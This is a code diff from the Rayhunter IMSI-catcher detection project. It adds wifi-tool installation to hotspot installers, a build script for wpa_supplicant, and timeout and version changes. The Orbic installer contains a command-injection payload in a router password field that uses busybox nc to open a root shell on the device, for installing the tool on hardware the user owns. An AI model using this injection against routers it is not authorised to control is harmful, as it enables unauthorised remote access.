/// Install wifi tools (wpa_supplicant, wpa_cli, iw) to /data/rayhunter/bin.
|
||||
///
|
||||
/// Skips any binary that is already present on the device (e.g. provided by firmware),
|
||||
/// since those may be newer or better-integrated than the bundled versions.
|
||||
///
|
||||
/// In debug builds the wpa-supplicant binaries may not be bundled (build.rs sets the
|
||||
/// env vars to empty in that case); when so, this is a no-op so devs don't have to
|
||||
/// build wpa-supplicant just to install on Orbic.
|
||||
pub async fn install_wifi_tools<C: DeviceConnection>(conn: &mut C) -> Result<()> {
|
||||
if env!("FILE_WPA_SUPPLICANT").is_empty() {
|
||||
println!("wifi tools were not built into this installer, skipping");
|
||||
return Ok(());
|
||||
}
|
||||
let tools: &[(&str, &str, &[u8])] = &[
|
||||
(
|
||||
"wpa_supplicant",
|
||||
"/data/rayhunter/bin/wpa_supplicant",
|
||||
crate::get_file!("FILE_WPA_SUPPLICANT"),
|
||||
),
|
||||
(
|
||||
"wpa_cli",
|
||||
"/data/rayhunter/bin/wpa_cli",
|
||||
crate::get_file!("FILE_WPA_CLI"),
|
||||
),
|
||||
("iw", "/data/rayhunter/bin/iw", crate::get_file!("FILE_IW")),
|
||||
];
|
||||
for &(name, dest, payload) in tools {
|
||||
if device_has_binary(conn, name).await {
|
||||
println!("{name} already on device, skipping");
|
||||
} else {
|
||||
conn.write_file(dest, payload).await?;
|
||||
conn.run_command(&format!("chmod +x {dest}")).await?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn device_has_binary<C: DeviceConnection>(conn: &mut C, name: &str) -> bool {
|
||||
// `command -v` is a POSIX shell builtin, so it works on minimal busybox firmware
|
||||
// even when /usr/bin/which is absent.
|
||||
conn.run_command(&format!(
|
||||
"\"command -v {name} >/dev/null 2>&1 && echo FOUND || echo MISSING\""
|
||||
))
|
||||
.await
|
||||
.map(|out| out.contains("FOUND"))
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Check if a directory exists using a DeviceConnection
|
||||
pub async fn dir_exists<C: DeviceConnection>(conn: &mut C, path: &str) -> bool {
|
||||
conn.run_command(&format!("test -d '{path}' && echo exists || echo missing"))
|
||||
@@ -172,7 +220,13 @@ impl TelnetConnection {
|
||||
|
||||
impl DeviceConnection for TelnetConnection {
|
||||
async fn run_command(&mut self, command: &str) -> Result<String> {
|
||||
crate::util::telnet_send_command_with_output(self.addr, command, self.wait_for_prompt).await
|
||||
crate::util::telnet_send_command_with_output(
|
||||
self.addr,
|
||||
command,
|
||||
self.wait_for_prompt,
|
||||
std::time::Duration::from_secs(10),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
|
||||
|
||||
23
installer/src/files.rs
Normal file
23
installer/src/files.rs
Normal file
@@ -0,0 +1,23 @@
|
||||
#[cfg(debug_assertions)]
|
||||
macro_rules! get_file {
|
||||
($var:literal) => {{
|
||||
let path = env!($var);
|
||||
match ::std::fs::read(path) {
|
||||
Ok(bytes) => bytes.leak() as &'static [u8],
|
||||
Err(e) => panic!("Failed to read file for {}: {}", $var, e),
|
||||
}
|
||||
}};
|
||||
}
|
||||
|
||||
#[cfg(not(debug_assertions))]
|
||||
macro_rules! get_file {
|
||||
($var:literal) => {{
|
||||
const _: () = assert!(
|
||||
!env!($var).is_empty(),
|
||||
concat!($var, " was not bundled at build time"),
|
||||
);
|
||||
include_bytes!(env!($var)) as &'static [u8]
|
||||
}};
|
||||
}
|
||||
|
||||
pub(crate) use get_file;
|
||||
@@ -6,6 +6,9 @@ use env_logger::Env;
|
||||
use anyhow::bail;
|
||||
|
||||
mod connection;
|
||||
mod files;
|
||||
pub(crate) use files::*;
|
||||
|
||||
mod moxee;
|
||||
#[cfg(not(target_os = "android"))]
|
||||
mod orbic;
|
||||
|
||||
@@ -13,7 +13,7 @@ use sha2::{Digest, Sha256};
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::RAYHUNTER_DAEMON_INIT;
|
||||
use crate::connection::{DeviceConnection, install_config};
|
||||
use crate::connection::{DeviceConnection, install_config, install_wifi_tools};
|
||||
use crate::output::{print, println};
|
||||
use crate::util::open_usb_device;
|
||||
|
||||
@@ -53,8 +53,15 @@ pub struct AdbConnection<'a> {
|
||||
}
|
||||
|
||||
impl DeviceConnection for AdbConnection<'_> {
|
||||
/// Runs through /bin/rootshell so commands execute as root (install_wifi_tools needs
|
||||
/// chmod on root-owned files). setup_rootshell must have succeeded before an
|
||||
/// AdbConnection is created; callers in this module (setup_rayhunter) enforce that
|
||||
/// ordering.
|
||||
async fn run_command(&mut self, command: &str) -> Result<String> {
|
||||
adb_command(self.device, &["sh", "-c", command])
|
||||
adb_command(
|
||||
self.device,
|
||||
&["/bin/rootshell", "-c", &format!("\"{command}\"")],
|
||||
)
|
||||
}
|
||||
|
||||
async fn write_file(&mut self, path: &str, content: &[u8]) -> Result<()> {
|
||||
@@ -129,7 +136,7 @@ async fn force_debug_mode() -> Result<ADBUSBDevice> {
|
||||
}
|
||||
|
||||
async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL"));
|
||||
let rootshell_bin = crate::get_file!("FILE_ROOTSHELL");
|
||||
|
||||
install_file(adb_device, "/bin/rootshell", rootshell_bin).await?;
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
@@ -144,9 +151,13 @@ async fn setup_rootshell(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
}
|
||||
|
||||
async fn setup_rayhunter(mut adb_device: ADBUSBDevice, reset_config: bool) -> Result<ADBUSBDevice> {
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
||||
|
||||
adb_at_syscmd(&mut adb_device, "mkdir -p /data/rayhunter").await?;
|
||||
adb_at_syscmd(
|
||||
&mut adb_device,
|
||||
"mkdir -p /data/rayhunter/scripts /data/rayhunter/bin",
|
||||
)
|
||||
.await?;
|
||||
install_file(
|
||||
&mut adb_device,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
@@ -159,6 +170,7 @@ async fn setup_rayhunter(mut adb_device: ADBUSBDevice, reset_config: bool) -> Re
|
||||
device: &mut adb_device,
|
||||
};
|
||||
install_config(&mut conn, "orbic", reset_config).await?;
|
||||
install_wifi_tools(&mut conn).await?;
|
||||
}
|
||||
|
||||
install_file(
|
||||
|
||||
@@ -8,7 +8,9 @@ use serde::Deserialize;
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::RAYHUNTER_DAEMON_INIT;
|
||||
use crate::connection::{TelnetConnection, install_config, setup_data_directory};
|
||||
use crate::connection::{
|
||||
TelnetConnection, install_config, install_wifi_tools, setup_data_directory,
|
||||
};
|
||||
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
|
||||
use crate::output::{eprintln, print, println};
|
||||
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
|
||||
@@ -22,7 +24,10 @@ struct ExploitResponse {
|
||||
}
|
||||
|
||||
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
|
||||
let client: Client = Client::new();
|
||||
// Disable connection pooling. The Orbic's web server does not properly support
|
||||
// HTTP/1.1 keep-alive, so reusing connections causes "connection closed before
|
||||
// message completed" errors.
|
||||
let client: Client = Client::builder().pool_max_idle_per_host(0).build()?;
|
||||
|
||||
// Step 1: Get login info (priKey and session cookie)
|
||||
let login_info_response = client
|
||||
@@ -104,7 +109,7 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
|
||||
}
|
||||
|
||||
// Step 4: Exploit using authenticated session
|
||||
let response: ExploitResponse = client
|
||||
let exploit_result = client
|
||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", authenticated_cookie)
|
||||
@@ -113,14 +118,27 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
|
||||
r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
|
||||
))
|
||||
.send()
|
||||
.await
|
||||
.context("failed to start telnet")?
|
||||
.json()
|
||||
.await
|
||||
.context("failed to start telnet")?;
|
||||
.await;
|
||||
|
||||
if response.retcode != 0 {
|
||||
bail!("unexpected response while starting telnet: {:?}", response);
|
||||
match exploit_result {
|
||||
Ok(resp) => {
|
||||
// Try to parse response but don't fail if the server closed the connection
|
||||
match resp.json::<ExploitResponse>().await {
|
||||
Ok(response) if response.retcode != 0 => {
|
||||
bail!("unexpected response while starting telnet: {:?}", response);
|
||||
}
|
||||
Ok(_) => {}
|
||||
Err(_) => {
|
||||
// Server likely crashed from the injection which is expected
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) if e.is_connect() => {
|
||||
bail!("failed to connect to admin interface at {admin_ip}: {e}");
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("exploit request failed ({e}), continuing anyway");
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -198,7 +216,7 @@ async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
||||
|
||||
async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) -> Result<()> {
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
||||
|
||||
// Remount filesystem as read-write to allow modifications
|
||||
// This is really only necessary for the Moxee Hotspot
|
||||
@@ -213,6 +231,15 @@ async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) ->
|
||||
let mut conn = TelnetConnection::new(addr, false);
|
||||
setup_data_directory(&mut conn, data_dir).await?;
|
||||
|
||||
// Ensure bin and scripts directories exist under the data dir (via symlink)
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"mkdir -p /data/rayhunter/scripts /data/rayhunter/bin",
|
||||
"exit code 0",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
@@ -221,6 +248,8 @@ async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) ->
|
||||
)
|
||||
.await?;
|
||||
|
||||
install_wifi_tools(&mut conn).await?;
|
||||
|
||||
install_config(&mut conn, "orbic", reset_config).await?;
|
||||
|
||||
telnet_send_file(
|
||||
|
||||
@@ -29,7 +29,7 @@ pub async fn install() -> Result<()> {
|
||||
run_command_expect(&mut adb, "mount -o remount,rw /", "exit code 0").await?;
|
||||
run_command_expect(&mut adb, "mkdir -p /data/rayhunter", "exit code 0").await?;
|
||||
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
||||
adb.write_file("/data/rayhunter/rayhunter-daemon", rayhunter_daemon_bin)
|
||||
.await?;
|
||||
adb.write_file(
|
||||
|
||||
@@ -13,7 +13,7 @@ use tokio::time::sleep;
|
||||
|
||||
use crate::TmobileArgs as Args;
|
||||
use crate::output::{print, println};
|
||||
use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
|
||||
use crate::util::{reboot_device, telnet_send_command, telnet_send_file};
|
||||
use crate::wingtech::start_telnet;
|
||||
|
||||
pub async fn install(
|
||||
@@ -48,7 +48,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
|
||||
)
|
||||
.await?;
|
||||
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
@@ -92,20 +92,13 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!("Rebooting device and waiting 30 seconds for it to start up.");
|
||||
telnet_send_command(addr, "reboot", "exit code 0", true).await?;
|
||||
sleep(Duration::from_secs(30)).await;
|
||||
reboot_device(addr, "reboot", &admin_ip).await;
|
||||
|
||||
print!("Testing rayhunter ... ");
|
||||
let max_failures = 10;
|
||||
http_ok_every(
|
||||
format!("http://{admin_ip}:8080/index.html"),
|
||||
Duration::from_secs(3),
|
||||
max_failures,
|
||||
)
|
||||
.await?;
|
||||
println!("ok");
|
||||
println!("rayhunter is running at http://{admin_ip}:8080");
|
||||
println!();
|
||||
println!("Note: by default the TMOHS1 shuts off Wi-Fi after 10 minutes with no clients,");
|
||||
println!("which blocks remote access to Rayhunter until you power cycle. To keep");
|
||||
println!("Wi-Fi always on, open http://{admin_ip}/ -> Settings -> Sleep and set");
|
||||
println!("Wi-Fi Standby to \"Always on\". See doc/tmobile-tmohs1.md for steps.");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -188,7 +188,7 @@ async fn tplink_run_install(
|
||||
|
||||
install_config(&mut conn, "tplink", reset_config).await?;
|
||||
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
|
||||
@@ -4,7 +4,6 @@ use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use nusb::Device;
|
||||
use reqwest::Client;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, timeout};
|
||||
@@ -18,6 +17,7 @@ pub async fn telnet_send_command_with_output(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
wait_for_prompt: bool,
|
||||
command_timeout: Duration,
|
||||
) -> Result<String> {
|
||||
if command.contains('\n') {
|
||||
bail!("multi-line commands are not allowed");
|
||||
@@ -42,11 +42,8 @@ pub async fn telnet_send_command_with_output(
|
||||
writer.write_all(format!("echo RAYHUNTER_'TELNET'_COMMAND_START; {command}; echo RAYHUNTER_'TELNET'_COMMAND_DONE\r\n").as_bytes()).await?;
|
||||
|
||||
let mut read_buf = Vec::new();
|
||||
timeout(Duration::from_secs(10), async {
|
||||
loop {
|
||||
let Ok(byte) = reader.read_u8().await else {
|
||||
break;
|
||||
};
|
||||
timeout(command_timeout, async {
|
||||
while let Ok(byte) = reader.read_u8().await {
|
||||
read_buf.push(byte);
|
||||
|
||||
// when we see this string we know the command is done and can terminate.
|
||||
@@ -61,7 +58,7 @@ pub async fn telnet_send_command_with_output(
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("command timed out after 10 seconds")?;
|
||||
.with_context(|| format!("command timed out after {}s", command_timeout.as_secs()))?;
|
||||
let string = String::from_utf8_lossy(&read_buf);
|
||||
let start = string.rfind("RAYHUNTER_TELNET_COMMAND_START");
|
||||
let end = string.rfind("RAYHUNTER_TELNET_COMMAND_DONE");
|
||||
@@ -83,7 +80,9 @@ pub async fn telnet_send_command(
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
let command = format!("{command}; echo command done, exit code $?");
|
||||
let output = telnet_send_command_with_output(addr, &command, wait_for_prompt).await?;
|
||||
let output =
|
||||
telnet_send_command_with_output(addr, &command, wait_for_prompt, Duration::from_secs(10))
|
||||
.await?;
|
||||
if !output.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {output}");
|
||||
}
|
||||
@@ -97,6 +96,9 @@ pub async fn telnet_send_file(
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
print!("Sending file {filename} ... ");
|
||||
// Allow 30s base + 2s per MB for the nc command to complete (covers slow WiFi links)
|
||||
let transfer_timeout =
|
||||
Duration::from_secs(30 + (payload.len() as u64 / (1024 * 1024)).max(1) * 2);
|
||||
let nc_output = {
|
||||
let filename = filename.to_owned();
|
||||
let handle = tokio::spawn(async move {
|
||||
@@ -104,6 +106,7 @@ pub async fn telnet_send_file(
|
||||
addr,
|
||||
&format!("nc -l -p 8081 2>&1 >{filename}.tmp"),
|
||||
wait_for_prompt,
|
||||
transfer_timeout,
|
||||
)
|
||||
.await
|
||||
});
|
||||
@@ -206,30 +209,11 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn http_ok_every(
|
||||
rayhunter_url: String,
|
||||
interval: Duration,
|
||||
max_failures: u32,
|
||||
) -> Result<()> {
|
||||
let client = Client::new();
|
||||
let mut failures = 0;
|
||||
loop {
|
||||
match client.get(&rayhunter_url).send().await {
|
||||
Ok(test) => match test.status().is_success() {
|
||||
true => break,
|
||||
false => bail!(
|
||||
"request for url ({rayhunter_url}) failed with status code: {:?}",
|
||||
test.status()
|
||||
),
|
||||
},
|
||||
Err(e) => match failures > max_failures {
|
||||
true => return Err(e.into()),
|
||||
false => failures += 1,
|
||||
},
|
||||
}
|
||||
sleep(interval).await;
|
||||
}
|
||||
Ok(())
|
||||
pub async fn reboot_device(addr: SocketAddr, reboot_command: &str, admin_ip: &str) {
|
||||
println!(
|
||||
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
|
||||
);
|
||||
let _ = telnet_send_command(addr, reboot_command, "", true).await;
|
||||
}
|
||||
|
||||
/// General function to open a USB device
|
||||
|
||||
@@ -148,7 +148,7 @@ async fn install_rayhunter_files(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
adb_device.shell_command(&["mount", "-o", "remount,rw", "/system"], &mut buf)?;
|
||||
|
||||
// Install rayhunter daemon binary with verification
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
||||
install_file(
|
||||
adb_device,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
|
||||
@@ -1,3 +1,13 @@
|
||||
use crate::WingtechArgs as Args;
|
||||
use crate::output::{print, println};
|
||||
use crate::util::{reboot_device, telnet_send_command, telnet_send_file};
|
||||
use aes::Aes128;
|
||||
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
|
||||
use anyhow::{Context, Result, bail};
|
||||
use base64_light::base64_encode_bytes;
|
||||
use block_padding::{Padding, Pkcs7};
|
||||
use reqwest::Client;
|
||||
use serde::Deserialize;
|
||||
/// Installer for the Wingtech CT2MHS01 hotspot.
|
||||
///
|
||||
/// Tested on (from `/etc/wt_version`):
|
||||
@@ -6,20 +16,6 @@
|
||||
/// WT_HARDWARE_VERSION=89323_1_20
|
||||
use std::net::SocketAddr;
|
||||
use std::str::FromStr;
|
||||
use std::time::Duration;
|
||||
|
||||
use aes::Aes128;
|
||||
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
|
||||
use anyhow::{Context, Result, bail};
|
||||
use base64_light::base64_encode_bytes;
|
||||
use block_padding::{Padding, Pkcs7};
|
||||
use reqwest::Client;
|
||||
use serde::Deserialize;
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::WingtechArgs as Args;
|
||||
use crate::output::{print, println};
|
||||
use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
|
||||
|
||||
#[derive(Deserialize)]
|
||||
struct LoginResponse {
|
||||
@@ -108,7 +104,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
|
||||
)
|
||||
.await?;
|
||||
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
@@ -145,20 +141,13 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!("Rebooting device and waiting 30 seconds for it to start up.");
|
||||
telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?;
|
||||
sleep(Duration::from_secs(30)).await;
|
||||
reboot_device(addr, "shutdown -r -t 1 now", &admin_ip).await;
|
||||
|
||||
print!("Testing rayhunter ... ");
|
||||
let max_failures = 10;
|
||||
http_ok_every(
|
||||
format!("http://{admin_ip}:8080/index.html"),
|
||||
Duration::from_secs(3),
|
||||
max_failures,
|
||||
)
|
||||
.await?;
|
||||
println!("ok");
|
||||
println!("rayhunter is running at http://{admin_ip}:8080");
|
||||
println!();
|
||||
println!("Note: by default the CT2MHS01 shuts off Wi-Fi after ~10 minutes with no clients,");
|
||||
println!("which blocks remote access to Rayhunter until you power cycle. To keep");
|
||||
println!("Wi-Fi always on, open http://{admin_ip}/ -> Settings -> Sleep and set");
|
||||
println!("Wi-Fi Standby to \"Always on\". See doc/wingtech-ct2mhs01.md for steps.");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter"
|
||||
version = "0.10.2"
|
||||
version = "0.11.0"
|
||||
edition = "2024"
|
||||
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
|
||||
|
||||
@@ -32,3 +32,4 @@ num_enum = "0.7.4"
|
||||
utoipa = { version = "5.4.0", optional = true }
|
||||
|
||||
[dev-dependencies]
|
||||
tempfile = "3"
|
||||
|
||||
@@ -40,4 +40,5 @@ pub enum Device {
|
||||
Wingtech,
|
||||
Pinephone,
|
||||
Uz801,
|
||||
Moxee,
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rootshell"
|
||||
version = "0.10.2"
|
||||
version = "0.11.0"
|
||||
edition = "2024"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -43,6 +43,25 @@ build_frontend() {
|
||||
popd > /dev/null
|
||||
}
|
||||
|
||||
build_wifi_tools() {
|
||||
if [ -f "tools/build-wpa-supplicant/out/wpa_supplicant" ] \
|
||||
&& [ -f "tools/build-wpa-supplicant/out/wpa_cli" ] \
|
||||
&& [ -f "tools/build-wpa-supplicant/out/iw" ]; then
|
||||
echo "WiFi tools already built, skipping."
|
||||
return
|
||||
fi
|
||||
|
||||
if ! command -v arm-linux-musleabihf-gcc &> /dev/null; then
|
||||
echo "Warning: Skipping building WiFi tools due to missing C crosscompiler."
|
||||
echo "arm-linux-musleabihf-gcc not found."
|
||||
echo "Install with: brew install FiloSottile/musl-cross/musl-cross"
|
||||
return
|
||||
fi
|
||||
|
||||
echo "Building WiFi tools..."
|
||||
./scripts/build-wpa-supplicant.sh
|
||||
}
|
||||
|
||||
build_daemon() {
|
||||
echo "Building daemon..."
|
||||
cargo build-daemon-firmware-devel
|
||||
@@ -57,6 +76,7 @@ case "$COMMAND" in
|
||||
build)
|
||||
check_dependencies
|
||||
build_frontend
|
||||
build_wifi_tools
|
||||
build_daemon
|
||||
echo ""
|
||||
echo "Build complete! To install to a device, run:"
|
||||
|
||||
93
scripts/build-wpa-supplicant.sh
Executable file
93
scripts/build-wpa-supplicant.sh
Executable file
@@ -0,0 +1,93 @@
|
||||
#!/bin/bash
|
||||
# Cross-compile wpa_supplicant, wpa_cli, and iw for ARMv7 (musl static).
|
||||
# Output: tools/build-wpa-supplicant/out/{wpa_supplicant,wpa_cli,iw}
|
||||
#
|
||||
# Requires: arm-linux-musleabihf-gcc (brew install FiloSottile/musl-cross/musl-cross)
|
||||
set -e
|
||||
|
||||
WPA_VERSION="2.11"
|
||||
WPA_URL="https://w1.fi/releases/wpa_supplicant-${WPA_VERSION}.tar.gz"
|
||||
LIBNL_VERSION="3.11.0"
|
||||
LIBNL_URL="https://github.com/thom311/libnl/releases/download/libnl${LIBNL_VERSION//\./_}/libnl-${LIBNL_VERSION}.tar.gz"
|
||||
IW_VERSION="6.9"
|
||||
IW_URL="https://www.kernel.org/pub/software/network/iw/iw-${IW_VERSION}.tar.xz"
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
OUT_DIR="$SCRIPT_DIR/../tools/build-wpa-supplicant/out"
|
||||
BUILD_DIR="/tmp/wpa-supplicant-build-$$"
|
||||
|
||||
CC="${CC:-arm-linux-musleabihf-gcc}"
|
||||
STRIP="${STRIP:-arm-linux-musleabihf-strip}"
|
||||
HOST="${HOST:-arm-linux-musleabihf}"
|
||||
|
||||
if ! command -v "$CC" >/dev/null 2>&1; then
|
||||
echo "Error: $CC not found. Install with: brew install FiloSottile/musl-cross/musl-cross"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p "$BUILD_DIR" "$OUT_DIR"
|
||||
SYSROOT="$BUILD_DIR/sysroot"
|
||||
mkdir -p "$SYSROOT"
|
||||
|
||||
echo "Building libnl ${LIBNL_VERSION}..."
|
||||
curl -Lf "$LIBNL_URL" | tar xz -C "$BUILD_DIR"
|
||||
cd "$BUILD_DIR/libnl-${LIBNL_VERSION}"
|
||||
./configure \
|
||||
--host="$HOST" \
|
||||
CC="$CC" \
|
||||
--prefix="$SYSROOT" \
|
||||
--enable-static \
|
||||
--disable-shared \
|
||||
--disable-cli \
|
||||
--disable-debug \
|
||||
> /dev/null 2>&1
|
||||
make -j"$(nproc 2>/dev/null || sysctl -n hw.ncpu)" > /dev/null 2>&1
|
||||
make install > /dev/null 2>&1
|
||||
|
||||
echo "Building wpa_supplicant ${WPA_VERSION}..."
|
||||
cd "$BUILD_DIR"
|
||||
curl -Lf "$WPA_URL" | tar xz
|
||||
cd "wpa_supplicant-${WPA_VERSION}/wpa_supplicant"
|
||||
|
||||
cat > .config <<'WPACONF'
|
||||
CONFIG_DRIVER_NL80211=y
|
||||
CONFIG_LIBNL32=y
|
||||
CONFIG_CRYPTO=internal
|
||||
CONFIG_TLS=internal
|
||||
CONFIG_INTERNAL_LIBTOMMATH=y
|
||||
CONFIG_INTERNAL_LIBTOMMATH_FAST=y
|
||||
CONFIG_CTRL_IFACE=y
|
||||
CONFIG_BACKEND=file
|
||||
CONFIG_NO_CONFIG_WRITE=y
|
||||
CONFIG_NO_RANDOM_POOL=y
|
||||
CONFIG_GETRANDOM=y
|
||||
WPACONF
|
||||
|
||||
NL_CFLAGS="-I${SYSROOT}/include/libnl3"
|
||||
NL_LIBS="-L${SYSROOT}/lib -lnl-genl-3 -lnl-3 -lpthread -lm"
|
||||
|
||||
make CC="$CC" \
|
||||
EXTRA_CFLAGS="$NL_CFLAGS" \
|
||||
LDFLAGS="-static" \
|
||||
LIBS="$NL_LIBS" \
|
||||
-j"$(nproc 2>/dev/null || sysctl -n hw.ncpu)"
|
||||
|
||||
echo "Stripping..."
|
||||
$STRIP wpa_supplicant wpa_cli
|
||||
cp wpa_supplicant wpa_cli "$OUT_DIR/"
|
||||
|
||||
echo "Building iw ${IW_VERSION}..."
|
||||
cd "$BUILD_DIR"
|
||||
curl -Lf "$IW_URL" | tar xJ
|
||||
cd "iw-${IW_VERSION}"
|
||||
PKG_CONFIG_LIBDIR="$SYSROOT/lib/pkgconfig" \
|
||||
make CC="$CC" \
|
||||
LDFLAGS="-static" \
|
||||
-j"$(nproc 2>/dev/null || sysctl -n hw.ncpu)"
|
||||
$STRIP iw
|
||||
cp iw "$OUT_DIR/"
|
||||
|
||||
rm -rf "$BUILD_DIR"
|
||||
|
||||
echo "Done. Binaries in $OUT_DIR:"
|
||||
ls -lh "$OUT_DIR"/{wpa_supplicant,wpa_cli,iw}
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "telcom-parser"
|
||||
version = "0.10.2"
|
||||
version = "0.11.0"
|
||||
edition = "2024"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
asn1tools==0.166.0
|
||||
bitstruct==8.19.0
|
||||
asn1tools==0.167.0
|
||||
bitstruct==8.22.1
|
||||
diskcache==5.6.3
|
||||
pycrate==0.7.8
|
||||
pyparsing==3.1.2
|
||||
pycrate==0.7.11
|
||||
pyparsing==3.3.2
|
||||
|
||||
Reference in New Issue
Block a user